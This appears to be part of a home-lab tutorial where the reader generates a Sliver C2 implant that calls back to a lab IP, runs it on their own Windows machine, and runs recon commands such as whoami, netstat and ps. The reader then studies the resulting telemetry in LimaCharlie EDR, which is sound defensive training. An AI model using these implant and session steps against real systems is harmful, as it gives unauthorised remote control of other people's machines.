**Part 2 - Preparing for Attack & Defence**

This section assumes all prior steps, including setting up LimaCharlie, have been completed.

**Generating a C2 Implant**

1. **Start the Sliver Client.**
2. **Generate the C2 implant** and save it to the Windows system’s Downloads directory, using the IP address of the Ubuntu subsystem as the C2 IP:

generate --http 172.25.114.254 --save /mnt/c/Users/sywtbsa/Downloads/

1. **Verify the implant is stored** by running:

implants

1. **Ensure the HTTP listener is running** by executing:

jobs

* + If not running, start it using the http command.

1. Keep the Sliver client window open for future steps.

**Starting a Command and Control (C2) Session**

1. **Launch an Administrative Command Prompt.**
2. **Execute the payload** by running the generated implant:

C:\Users\sywtbsa\Downloads\[your\_C2-implant.exe]

1. **Verify the session has checked in** on the Sliver server.
2. **Confirm the active session** by running:

sessions

1. **Interact with the C2 session** by replacing [session\_id] with the actual session ID:

use [session\_id]

1. **Run basic commands** to gather system information:
   * **Session details:**

info

* + **User identity and privileges:**

Whoami

* + **Current working directory:**

pwd

* + **Network connections on the system:**

netstat

* + **List running processes:**

ps -T

* + - Sliver highlights its own process in green and any detected security tools in red.

**Observing EDR Telemetry in LimaCharlie**

1. **Access LimaCharlie’s web UI** and navigate to “Sensors.”
2. **Select the active Windows sensor.**
3. **Inspect system activity:**
   * **Processes tab:**
     + Analyze the process tree and signatures.
     + Identify unsigned processes, including the C2 implant.
   * **Network tab:**
     + Filter results for the C2 IP or implant name.
   * **File System tab:**
     + Locate the implant’s executable in C:\Users\sywtbsa\Downloads.
     + Search its hash on **VirusTotal** for additional context.
   * **Timeline tab:**
     + Track **event logs** in near real-time.
     + Filter for known indicators of compromise (IOCs), including implant creation and execution.

**Key Observations**

* **LimaCharlie provides real-time telemetry** on system activity, including process execution, network connections, and file system modifications.
* **Unsigned or unknown processes** should be flagged for further analysis.
* **Familiarity with normal system behavior** helps in identifying malicious activity.

Spending time reviewing system telemetry will improve the ability to distinguish **normal** from **suspicious** behavior, a critical skill in cybersecurity analysis.